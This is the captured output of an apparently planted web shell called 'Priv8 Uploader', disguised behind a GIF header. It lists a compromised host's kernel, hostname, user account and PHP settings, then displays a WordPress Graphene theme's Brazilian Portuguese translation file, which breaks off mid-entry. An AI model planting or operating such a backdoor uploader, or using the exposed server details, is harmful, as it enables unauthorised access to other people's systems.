GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/graphene/languages/pt_BR.po
msgid ""
msgstr ""
"Project-Id-Version: Graphene 1.0 theme for WordPress\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2011-09-06 10:34+1200\n"
"PO-Revision-Date: 2011-09-16 23:55-0300\n"
"Last-Translator: Leonardo Antonioli <leo@tobeguarany.com>\n"
"Language-Team: Leonardo Antonioli <leo@tobeguarany.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: __;_e;_n\n"
"X-Poedit-Basepath: D:\\[[MyVault]]\\MyProjects\\[Websites]\\wordpress-theme-test\\site\\wp-content\\themes\\graphene\\\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-Language: Portuguese\n"
"X-Poedit-Country: BRAZIL\n"
"X-Poedit-SearchPath-0: .\n"

#: 404.php:20
#, php-format
msgid "Searching for: <span>%s</span>"
msgstr "Pesquisando: <span>%s</span>"

#: 404.php:26
#: search-404.php:3
msgid "Error 404 - Page Not Found"
msgstr "Erro 404 - Página não encontrada"

#: 404.php:28
#: search-404.php:5
msgid "Sorry, I've looked everywhere but I can't find the page you're looking for."
msgstr "Desculpe. Procurei em todo lugar, mas não encontre a página que você buscava."

#: 404.php:29
#: search-404.php:6
msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:"
msgstr "Se você chegou aqui a partir de outro site, talvez nós tenhamos removido ou renomado a página. Você pode tentar encontrá-la através da busca:"

#: 404.php:37
msgid "Automated search"
msgstr "Busca automática"

#: 404.php:40
#, php-format
msgid "Searching for the terms <strong>%s</strong> ..."
msgstr "Pesquisando os termos <strong>%s</strong>..."

#: archive.php:25
#, php-format
msgid "Daily Archive: <span>%s</span>"
msgstr "Arquivo por dia: <span>%s</span>"

#: archive.php:27
#, php-format
msgid "Monthly Archive: <span>%s</span>"
msgstr "Arquivo por mês: <span>%s</span>"

#: archive.php:29
msgid "F Y"
msgstr "F Y"

#: archive.php:31
#, php-format
msgid "Yearly Archive: <span>%s</span>"
msgstr "Arquivo por ano: <span>%s</span>"

#: archive.php:33
#: category.php:14
#, php-format
msgid "Category Archive: <span>%s</span>"
msgstr "Arquivo por categoria: <span>%s</span>"

#: archive.php:35
msgid "Blog Archive"
msgstr "Arquivo do blog"

#: author.php:33
msgid "Author's posts listings"
msgstr "Listas de posts do autor"

#: comments.php:26
msgid "This post is password protected. Enter the password to view any comments."
msgstr "Este post está protegido por senha. Digite a senha para ver os comentários."

#: comments.php:49
#: loop-author.php:85
#: loop.php:185
msgid "1 comment"
msgstr "1 comentário"

#: comments.php:49
#: loop-author.php:85
#: loop.php:185
#, php-format
msgid "% comments"
msgstr "% comentários"

#: comments.php:50
msgid "1 ping"
msgstr "1 menção"

#: comments.php:50
msgid "% pings"
msgstr "% menções"

#: comments.php:103
msgid "Comments have been disabled."
msgstr "Comentários foram desabilitados."

#: comments.php:118
#, php-format
msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s"
msgstr "Você pode usar estas tags e atributos <abbr title=\"HyperText Markup Language\">HTML</abbr>: %s"

#: comments.php:123
msgid "Your email address will not be published."
msgstr "Seu e-mail não será publicado."

#: comments.php:126
#: functions.php:1341
msgid "Submit Comment"
msgstr "Enviar comentário"

#: footer.php:40
msgid "Copyright"
msgstr "Copyright"

#: footer.php:43
msgid "Except where otherwise noted, content on this site is licensed under a <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/\">Creative Commons Licence</a>."
msgstr "Exceto quando disposto em contrário, o conteúdo deste site é licenciado sob <a href=\"http://creativecommons.org/licenses/by-nc-nd/3.0/deed.pt_BR\">Licença Creative Commons</a>."

#: footer.php:53
msgid "Creative Commons Licence BY-NC-ND"
msgstr "Licença Creative Commons BY-NC-ND"

#: footer.php:74
msgid "Return to top"
msgstr "Voltar ao topo"

#: footer.php:83
#, php-format
msgid "Powered by %1$s and the %2$s."
msgstr "Powered by %1$s and the %2$s."

#: footer.php:83
msgid "Graphene Theme"
msgstr "Graphene Theme"

#: functions.php:176
msgid "Header Menu"
msgstr "Menu superior"

#: functions.php:177
msgid "Secondary Menu"
msgstr "Menu secundário"

#: functions.php:178
msgid "Footer Menu"
msgstr "Menu do rodapé"

#: functions.php:220
msgid "Header image by Syahir Hakim"
msgstr "Imagem do cabeçalho por Syahir Hakim"

#: functions.php:224
msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu"
msgstr "Esta é a imagem padrão do tema Graphene, recorte de uma imagem de Quantin Houyoux em sxc.hu"

#: functions.php:228
#: functions.php:232
#: functions.php:236
#: functions.php:240
#: functions.php:244
msgid "Header image cropped from image by Ilco at sxc.hu"
msgstr "Imagem de cabeçalho recortada de uma imagem de Ilco em sxc.hu"

#: functions.php:727
msgid "Home"
msgstr "Início"

#: functions.php:830
msgid "says:"
msgstr "disse:"

#: functions.php:836
#, php-format
msgid "%1$s at %2$s"
msgstr "%1$s em %2$s"

#: functions.php:838
msgid "Edit comment"
msgstr "Editar comentário"

#: functions.php:842
msgid "Reply"
msgstr "Responder"

#: functions.php:853
msgid "Your comment is awaiting moderation."
msgstr "Seu comentário está aguardando revisão."

#: functions.php:950
msgid "Sidebar Widget Area"
msgstr "Widgets da Barra Lateral"

#: functions.php:952
msgid "The first sidebar widget area (available in two and three column layouts)."
msgstr "A primeira área de widgets da barra lateral (disponível nos layouts de duas e três colunas)."

#: functions.php:959
msgid "Sidebar Two Widget Area"
msgstr "Widgets da Barra Lateral"

#: functions.php:961
msgid "The second sidebar widget area (only available in three column layouts)."
msgstr "A segunda área de widgets da barra lateral (disponível apenas no layout de três colunas)."

#: functions.php:968
msgid "Footer Widget Area"
msgstr "Widgets do Rodapé"

#: functions.php:970
msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "A área de widgets do rodapé. Deixe vazia para desabilitar. Defina o número de colunas a exibir nas Opções de Exibição do tema."

#: functions.php:985
msgid "Front Page Sidebar Widget Area"
msgstr "Barra Lateral da Página Inicial"

#: functions.php:987
msgid "The first sidebar widget area that will only be displayed on the front page."
msgstr "A primeira área de widgets da barra lateral, exibida apenas na página inicial."

#: functions.php:994
msgid "Front Page Sidebar Two Widget Area"
msgstr "Widgets II da Barra Lateral na Página Inicial"

#: functions.php:996
msgid "The second sidebar widget area that will only be displayed on the front page."
msgstr "A segunda área de widgets da barra lateral, exibida apenas na página inicial."

#: functions.php:1005
msgid "Front Page Footer Widget Area"
msgstr "Rodapé da Página Inicial"

#: functions.php:1007
msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page."
msgstr "A área de widgets do rodapé, exibida apenas na página inicial. Deixe vazia para desabilitar. Defina o número de colunas a exibir nas Opções de Exibição do tema."

#: functions.php:1017
msgid "Header Widget Area"
msgstr "Widgets do Cabeçalho"

#: functions.php:1019
msgid "The header widget area."
msgstr "A área de widgets do cabeçalho."

#: functions.php:1035
#, php-format
msgid "Dynamically added widget area. This widget area is attached to the %s action hook."
msgstr "Área de widgets adicionada dinamicamente. Esta área de widgets foi anexada ao action hook %s."

#: functions.php:1105
msgid "Display the latest Twitter status updates."
msgstr "Exibir últimas atualizações do Twitter."

#: functions.php:1137
msgid "Loading tweets..."
msgstr "Carregando tweets..."

#: functions.php:1141
msgid "Follow me on Twitter"
msgstr "Siga-me no Twitter"

#: functions.php:1153
msgid "follower"
msgstr "seguidor"

#: functions.php:1154
msgid "followers"
msgstr "seguidores"

#: functions.php:1185
msgid "Latest tweets"
msgstr "Últimos tweets"

#: functions.php:1192
msgid "Title:"
msgstr "Título:"

#: functions.php:1196
msgid "Twitter Username:"
msgstr "Nome de usuário do Twitter:"

#: functions.php:1200
msgid "Number of tweets to display:"
msgstr "Número de tweets a exibir:"

#: functions.php:1204
msgid "Show followers count"
msgstr "Exibir contador de seguidores"

#: functions.php:1208
msgid "Open links in new window"
msgstr "Abrir links em novas janelas"

#: functions.php:1256
msgid "Graphene Options"
msgstr "Graphene: opções"

#: functions.php:1257
msgid "Graphene FAQs"
msgstr "Graphene: FAQs"

#: functions.php:1290
msgid "Toggle all tabs"
msgstr "Exibir/esconder todas as seções"

#: functions.php:1322
msgid "Name:"
msgstr "Nome:"

#: functions.php:1323
msgid "Email:"
msgstr "E-mail:"

#: functions.php:1324
msgid "Website:"
msgstr "Website:"

#: functions.php:1334
msgid "Message:"
msgstr "Mensagem:"

#: functions.php:1363
msgid "Continue reading &raquo;"
msgstr "Continue lendo &raquo;"

#: functions.php:1415
msgid "Older posts &laquo;"
msgstr "Posts mais antigos &laquo;"

#: functions.php:1416
msgid "&raquo; Newer posts"
msgstr "&raquo; Posts mais novos"

#: functions.php:1418
msgid "Next page &raquo;"
msgstr "Próxima página &raquo;"

#: functions.php:1419
msgid "&laquo; Previous page"
msgstr "&laquo; Página anterior"

#: functions.php:1633
msgid "View full post"
msgstr "Leia mais"

#: functions.php:1772
msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>"
msgstr "<strong>ERRO: Ao chamar a função graphene_get_post_image(), você deve fornecer como argumento o ID do post do qual pegar a imagem.</strong>"

#: functions.php:2135
msgid "Template preview not found."
msgstr "Pré-visualização de modelo não encontrada."

#: functions.php:2138
msgid "default"
msgstr "padrão"

#: functions.php:2194
#: functions.php:2198
msgid "Theme default"
msgstr "Padrão do tema"

#: functions.php:2264
msgid "ERROR: You are not authorised to perform that operation"
msgstr "ERRO: você não está autorizado a executar esta operação"

#: functions.php:2437
#: functions.php:2448
#: functions.php:2457
#: loop-children.php:41
#: loop-children.php:49
#: loop-post-formats.php:32
#: loop.php:71
#: loop.php:150
#, php-format
msgid "Permalink to %s"
msgstr "Link permanente para %s"

#: functions.php:2457
msgid "Read more"
msgstr "Leia mais"

#: functions.php:2526
#, php-format
msgid "Follow %s on Twitter"
msgstr "Siga %s no Twitter"

#: functions.php:2529
#, php-format
msgid "Visit %s's Facebook page"
msgstr "Visitar Facebook de %s"

#: functions.php:2551
#, php-format
msgid "Visit %1$s's %2$s page"
msgstr "Visitar a página de %1$s na rede %2$s"

#: header.php:56
#, php-format
msgid "Subscribe to %s's RSS feed"
msgstr "Assinar o canal RSS de %s"

#: header.php:56
msgid "Subscribe to RSS feed"
msgstr "Assine o canal RSS"

#: header.php:102
#: header.php:122
msgid "Go back to the front page"
msgstr "Voltar à página inicial"

#: loop-author.php:23
msgid "Author's details"
msgstr "Detalhes do autor"

#: loop-author.php:25
#, php-format
msgid "<strong>Name:</strong> %1$s %2$s"
msgstr "<strong>Nome:</strong> %1$s %2$s"

#: loop-author.php:26
#, php-format
msgid "<strong>Date registered:</strong> %1$s"
msgstr "<strong>Data de registro:</strong> %1$s"

#: loop-author.php:35
msgid "Biography"
msgstr "Biografia"

#: loop-author.php:52
msgid "Latest posts"
msgstr "Últimos posts"

#: loop-author.php:55
#: loop-author.php:85
#: search-404.php:24
#, php-format
msgid "Permalink Link to %s"
msgstr "Link permanente para %s"

#: loop-author.php:55
#: loop-author.php:85
#: loop-children.php:41
#: loop-post-formats.php:32
#: loop.php:39
#: loop.php:71
msgid "(No title)"
msgstr "(sem título)"

#: loop-author.php:92
msgid "Most commented posts"
msgstr "Posts mais comentados"

#: loop-children.php:49
msgid "View page &raquo;"
msgstr "Ver página &raquo;"

#: loop-post-formats.php:15
msgid "Status update"
msgstr "Status"

#: loop-post-formats.php:16
msgid "Audio"
msgstr "Áudio"

#: loop-post-formats.php:17
msgid "Image"
msgstr "Imagem"

#: loop-post-formats.php:18
msgid "Video"
msgstr "Vídeo"

#: loop-post-formats.php:19
msgid "Post format"
msgstr "Formato do post"

#: loop-post-formats.php:28
msgid "l F j, Y"
msgstr "l, d \\d\\e F \\d\\e Y"

#: loop-post-formats.php:28
msgid "g:i A"
msgstr "H:i"

#: loop-post-formats.php:38
#: loop.php:102
msgid "Edit post"
msgstr "Editar post"

#: loop-post-formats.php:78
#, php-format
msgid "Posted on: %s"
msgstr "Enviado em: %s"

#: loop-post-formats.php:78
msgid "F j, Y"
msgstr "d \\d\\e F \\d\\e Y"

#: loop.php:81
msgid "Categories:"
msgstr "Categorias:"

#: loop.php:92
msgid "Print this page"
msgstr "Imprimir esta página"

#: loop.php:119
msgid "by"
msgstr "por"

#: loop.php:145
msgid "Read the rest of this entry &raquo;"
msgstr "Leia mais &raquo;"

#: loop.php:163
msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> "
msgstr "<div class=\"link-pages\"><p><strong>Páginas:</strong> "

#: loop.php:173
msgid "Tags:"
msgstr "Tags:"

#: loop.php:173
msgid "This post has no tag"
msgstr "Este post não tem tags"

#: loop.php:185
msgid "Leave comment"
msgstr "Faça um comentário"

#: loop.php:200
msgid "About the author"
msgstr "Sobre o autor"

#: loop.php:217
msgid "Permanent link to this article:"
msgstr "Link permanente para este artigo:"

#: loop.php:248
msgid "Not found"
msgstr "Nada encontrado"

#: loop.php:253
msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?"
msgstr "Desculpe, mas o que você procurava não está aqui. Quer tentar uma busca?"

#: loop.php:255
msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?"
msgstr "Desculpe, mas não encontramos resultados para sua palavra-chave. Quer tentar buscar por outra palavra?"

#: search-404.php:14
msgid "Suggested results"
msgstr "Resultados sugeridos"

#: search-404.php:18
#, php-format
msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:"
msgstr "Fiz uma busca pelo termo %s para você. Veja se pode encontrar o que procurava na lista abaixo:"

#: search-404.php:35
msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above."
msgstr "<strong>Desculpe, não encontramos nada.</strong> Tente buscar por termos alternativos usando o formulário de pesquisa."

#: search.php:11
#, php-format
msgid "Search results for: <span>%s</span>"
msgstr "Resultados de busca por: <span>%s</span>"

#: searchform.php:3
#: searchform.php:4
msgid "Search"
msgstr "Busca"

#: sidebar-two.php:36
#: sidebar.php:42
msgid "Meta"
msgstr "Meta"

#: sidebar-two.php:41
#: sidebar.php:47
msgid "Posts RSS"
msgstr "RSS dos posts"

#: sidebar-two.php:42
#: sidebar.php:48
msgid "Comments RSS"
msgstr "RSS dos comentários"

#: sidebar-two.php:44
#: sidebar.php:50
#, php-format
msgid "Powered by %s"
msgstr "Powered by %s"

#: sidebar-two.php:44
#: sidebar.php:50
msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
msgstr "Powered by WordPress, o supra-sumo dos gerenciadores de conteúdo."

#: sidebar-two.php:49
#: sidebar.php:35
msgid "Archives"
msgstr "Arquivos"

#: tag.php:14
#, php-format
msgid "Tag Archive: <span>%s</span>"
msgstr "Arquivo por tag: <span>%s</span>"

#: admin/custom-fields.php:15
msgid "Graphene post-specific options"
msgstr "Opções do Graphene específicas para posts"

#: admin/custom-fields.php:16
msgid "Graphene page-specific options"
msgstr "Opções do Graphene específicas para páginas"

#: admin/custom-fields.php:98
msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page."
msgstr "Estas configurações só serão aplicadas a este post ou página que você está editando. Elas substituirão as configurações globais feitas nas páginas de Opções e Exibição do Graphene."

#: admin/custom-fields.php:99
msgid "Slider options"
msgstr "Opções do Slider"

#: admin/custom-fields.php:103
msgid "Slider image"
msgstr "Imagem do Slider"

#: admin/custom-fields.php:107
#: admin/custom-fields.php:133
#: admin/custom-fields.php:147
msgid "Use global setting"
msgstr "Usar configuração global"

#: admin/custom-fields.php:108
msgid "Don't show image"
msgstr "Não exibir imagem"

#: admin/custom-fields.php:109
msgid "Featured Image"
msgstr "Imagem de destaque"

#: admin/custom-fields.php:110
msgid "First image in post"
msgstr "Primeira imagem do post"

#: admin/custom-fields.php:111
msgid "Custom URL"
msgstr "URL personalizada"

#: admin/custom-fields.php:117
msgid "Custom slider image URL"
msgstr "URL personalizada da imagem"

#: admin/custom-fields.php:121
msgid "Make sure you select Custom URL in the slider image option above to use this custom url."
msgstr "Selecione \"URL personalizada\" em \"Imagem do Slider\" para usar esse campo."

#: admin/custom-fields.php:125
msgid "Display options"
msgstr "Opções de Exibição"

#: admin/custom-fields.php:129
msgid "AddThis Social Sharing button"
msgstr "Botão de compartilhamento AddThis"

#: admin/custom-fields.php:134
msgid "Show button"
msgstr "Exibir botão"

#: admin/custom-fields.php:135
msgid "Hide button"
msgstr "Ocultar botão"

#: admin/custom-fields.php:143
msgid "Post date display"
msgstr "Exibição da Data do Post"

#: admin/custom-fields.php:148
msgid "Hide date"
msgstr "Ocultar data"

#: admin/custom-fields.php:156
msgid "Navigation options"
msgstr "Opções de Navegação"

#: admin/custom-fields.php:160
msgid "Description"
msgstr "Descrição"

#: admin/custom-fields.php:164
msgid "Only required if you need a description in the navigation menu and you are not using a custom menu."
msgstr "Necessário apenas se você precisa de uma descrição no menu de navegação e não está usando um menu personalizado."

#: admin/faq.php:12
msgid "Graphene's Frequently Asked Questions"
msgstr "Perguntas & Respostas sobre o Graphene"

#: admin/faq.php:15
msgid "Where should I go for the theme's support?"
msgstr "Onde devo procurar ajuda sobre o tema?"

#: admin/faq.php:16
msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>."
msgstr "Todo pedido de suporte deve ser feito no <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Fórum de Suporte</a> (em inglês)."

#: admin/faq.php:19
msgid "The post's featured image is replacing my header image. Help!"
msgstr "A imagem destacada do post está substituindo minha imagem de cabeçalho. Socorro!"

#: admin/faq.php:20
msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages."
msgstr "Na verdade, esta é uma das funcionalidades do tema, baseada no comportamento do tema padrão TwentyTen. Qualquer imagem destacada com tamanho maior ou igual a imagem do cabeçalho (960 x 198 pixels) irá substituir o cabeçalho no post/página a que está vinculada. Isto lhe permite ter diferentes imagens de cabeçalho para diferentes posts ou páginas."

#: admin/faq.php:21
msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display > Header Display Options."
msgstr "Se você quiser desabilitar esta funcionalidade, marque a opção <em>Impedir que a imagem em destaque substitua a imagem de cabeçalho</em> na <a href=\"themes.php?page=graphene_options&tab=display\">aba \"Exibição\" da página de opções</a>."

#: admin/faq.php:24
msgid "Can I modify Graphene to my heart's content without paying anything?"
msgstr "Posso modificar o Graphene à vontade sem pagar nada?"

#: admin/faq.php:25
msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2."
msgstr "O tema Graphene para Wordpress, assim como todos os outros temas do Diretório de Temas Grátis do Wordpress.org, é lançado sob a licença GNU General Public License (GPL) Versão 2. O texto completo desta licença está incluído no tema, no arquivo <code>licence.txt</code>, na pasta do tema. Esta licença define, entre outras coisas, que você <em>tem a liberdade para modificar o tema de qualquer modo e com qualquer propósito (inclusive comercial)</em>, estando desobrigado para com o autor do tema. Entretanto, se você decidir redistribuí-lo, é necessário que você lance seu tema sob a mesma licença (GPLv2)."

#: admin/faq.php:26
msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme."
msgstr "Mas, é claro, o autor sempre ficará feliz com <a href=\"themes.php?page=graphene_options\">doações</a> para ajudar o constante desenvolvimento do tema."

#: admin/faq.php:29
msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?"
msgstr "Se o tema é licenciado sob GPLv2, o que a licença Creative Commons faz no rodapé do tema?"

#: admin/faq.php:30
msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it."
msgstr "Creative Commons é uma licença popular, que é usada por vários autores de conteúdo baseado na web para a proteção de suas propriedades intelectuais, ao mesmo tempo que permite uma livre distribuição. Está incluída no tema simplesmente para facilitar a vida dos usuários que desejem usá-la para proteger seu conteúdo. Os usuários podem remover essa licença na página de opções do tema caso não desejem usá-la."

#: admin/faq.php:31
msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it."
msgstr "Em outras palavras <em>esta não é a licença aplicada para o tema em si</em>, apenas para o conteúdo do website, caso o usuário do tema deseje usá-la."

#: admin/faq.php:34
msgid "Is the theme compatible with this plugin or that plugin?"
msgstr "O tema é compatível com este ou aquele plugin?"

#: admin/faq.php:35
msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme."
msgstr "Eu não sei. Com tantos plugins disponíveis para Wordpress, é impossível que eu (ou qualquer outra pessoa) possa testar a compatibilidade de todos. Apesar disso, o tema é entregue com todos os componentes necessários do Wordpress, então provavelmente a maioria dos plugins será compatível com o tema."

#: admin/faq.php:36
msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support."
msgstr "Sugiro que instale o plugin e teste. Se houver problema, peça ajuda primeiro ao autor do plugin. Se o autor do plugin disser que é um problema do tema, você sabe onde econtrará ajuda."

#: admin/options-import.php:20
#: admin/options.php:1705
msgid "Import Graphene Theme Options"
msgstr "Importar opções do tema Graphene"

#: admin/options-import.php:63
msgid "Options import completed"
msgstr "Importação das opções foi completada"

#: admin/options-import.php:64
msgid "Go to the Graphene options page"
msgstr "Ir para a página de opções do Graphene"

#: admin/options-import.php:67
#: admin/options-import.php:72
#: admin/options-import.php:77
msgid "Sorry, there has been an error."
msgstr "Desculpa, houve um erro."

#: admin/options-import.php:68
msgid "The uploaded file does not contain valid Graphene options."
msgstr "O arquivo enviado não contém opções válidas do Graphene."

#: admin/options-import.php:73
msgid "The uploaded file could not be read."
msgstr "O arquivo enviado não pode ser lido."

#: admin/options-import.php:78
msgid "The uploaded file is not supported."
msgstr "O arquivo enviado não é compatível."

#: admin/options-import.php:86
msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini."
msgstr "O arquivo está vazio. Por favor, envie algo mais substancial. Esse erro pode ser causado quando uploads estão desabilitados no seu php.ini ou quando post_max_size é menor do que upload_max_filesize no php.ini."

#: admin/options-presets.php:36
msgid "The \"Normal website\" settings preset has been applied."
msgstr "As configurações para \"site normal\" foram aplicadas."

#: admin/options-presets.php:41
msgid "Settings have been reset."
msgstr "Configurações retornadas ao padrão."

#: admin/options.php:84
#: admin/uninstall.php:21
msgid "Uninstall Graphene"
msgstr "Desinstalar Graphene"

#: admin/options.php:85
msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted."
msgstr "Por favor, confirme que você deseja desintalar o Graphene. Todas as opções do tema no banco de dados serão apagadas."

#: admin/options.php:86
msgid "This action is not reversible."
msgstr "Esta ação não pode ser desfeita."

#: admin/options.php:90
#: admin/options.php:302
msgid "Uninstall Theme"
msgstr "Desinstalar Tema"

#: admin/options.php:104
msgid "Graphene Theme Options"
msgstr "Opções do tema Graphene"

#: admin/options.php:106
msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages."
msgstr "Estas são configurações globais para o tema. Você pode individualizar algumas dessas opções nos próprios posts e páginas."

#: admin/options.php:114
msgid "General"
msgstr "Geral"

#: admin/options.php:115
msgid "Display"
msgstr "Exibição"

#: admin/options.php:116
msgid "Advanced"
msgstr "Avançado"

#: admin/options.php:152
msgid "Save Options"
msgstr "Salvar opções"

#: admin/options.php:164
msgid "Support the developer"
msgstr "Mostre sua gratidão ao desenvolvedor"

#: admin/options.php:167
msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development."
msgstr "Desenvolver este fantástico tema exigiu muito tempo e esforço, meses e meses de contínuo trabalho voluntário. Se você gosta desse tema ou se você está usando-o em sites comerciais, por favor considere fazer uma doação ao desenvolvedor para incentivar futuras atualizações e melhorias."

#: admin/options.php:182
msgid "Graphene Usage Survey"
msgstr "Pesquisa de uso do Graphene"

#: admin/options.php:185
msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous."
msgstr "Ajude-nos a te conhecer melhor. Responda agora à pesquisa de uso do tema Graphene! Toda opinião ajuda a fazer um tema melhor. A pesquisa é curta e completamente anônima."

#: admin/options.php:186
msgid "Take the survey"
msgstr "Responda à pesquisa"

#: admin/options.php:196
msgid "Add-ons and plugins"
msgstr "Add-ons e plugins"

#: admin/options.php:199
msgid "Add-ons"
msgstr "Add-ons"

#: admin/options.php:200
msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability."
msgstr "Add-ons não são entregues com o tema, mas podem ser instalados separadamente para expandir as funções do tema."

#: admin/options.php:204
msgid "Installed"
msgstr "Instalado"

#: admin/options.php:205
#: admin/options.php:224
msgid "Not installed"
msgstr "Não instalado"

#: admin/options.php:205
msgid "Learn more"
msgstr "Saiba mais"

#: admin/options.php:206
msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices."
msgstr "Extensão desenvolvida especificamente para melhor exibição do seu site em dispositivos móveis, tais como iPhone e aparelhos Android."

#: admin/options.php:209
msgid "Plugins"
msgstr "Plugins"

#: admin/options.php:210
msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them."
msgstr "O tema oferece suporte nativo aos plugins listados aqui. Tudo que você precisa fazer é instalá-los e ativá-los."

#: admin/options.php:223
msgid "Activated"
msgstr "Ativado"

#: admin/options.php:236
msgid "Options Presets"
msgstr "Opções pré-configuradas"

#: admin/options.php:239
msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below."
msgstr "As opções padrão do tema são pré-configuradas para blogs. Se você está usando este tema para um site normal ou se você quer resetar as configurações para o padrão, você pode aplicar uma das pré-configurações disponíveis abaixo."

#: admin/options.php:240
msgid "Note that you can still configure the individual settings after you apply any preset."
msgstr "Note que você ainda poderá configurar individualmente as opções após aplicar uma pré-configuração."

#: admin/options.php:245
msgid "Select Options Preset"
msgstr "Selecione as opções pré-configuradas"

#: admin/options.php:248
msgid "Normal website"
msgstr "Site normal"

#: admin/options.php:251
msgid "Reset to default settings"
msgstr "Resetar configuração padrão"

#: admin/options.php:256
msgid "Apply Options Preset"
msgstr "Aplicar opções pré-configuradas"

#: admin/options.php:266
msgid "Import/export theme options"
msgstr "Importar/exportar opções do tema"

#: admin/options.php:270
msgid "Import"
msgstr "Importar"

#: admin/options.php:273
msgid "Import Theme options"
msgstr "Importar opções do tema"

#: admin/options.php:275
msgid "Export"
msgstr "Exportar"

#: admin/options.php:279
msgid "Export Theme options"
msgstr "Exportar opções do tema"

#: admin/options.php:282
#, php-format
msgid "Import and export is only available for to users with PHP version 5.2.1 and higher. You are using PHP version %s."
msgstr "Importar/exportar está disponível apenas para usuários com PHP versão 5.2.1 ou superior. Você está usando PHP versão %s."

#: admin/options.php:292
msgid "Uninstall theme"
msgstr "Desinstalar tema"

#: admin/options.php:295
msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore."
msgstr "<strong>Atenção!</strong> Desinstalar o tema removerá do banco de dados todas as opções do tema. Faça isso apenas se você decidir não usá-lo nunca mais."

#: admin/options.php:296
msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance > Themes admin page."
msgstr "Se você quiser apenas testar um outro tema, não é necessário desinstalar este. Simplesmente ative o outro tema em Aparência > Temas."

#: admin/options.php:297
msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances > Themes and delete the theme from there."
msgstr "Desinstalar esse tema <strong>não removerá</strong> os arquivos do tema Graphene. Para apagar esses arquivos, após desinstalá-lo vá na página Aparência > Temas e apague o Graphene a partir de lá."

#: admin/options.php:313
#: admin/options.php:1644
msgid "Preview"
msgstr "Pré-visualização"

#: admin/options.php:314
msgid "The preview will be updated when the \"Save Options\" button above is clicked."
msgstr "Esta pré-visualização será atualizada quando o botão \"Salvar opções\" acima for clicado."

#: admin/options.php:333
msgid "Slider Options"
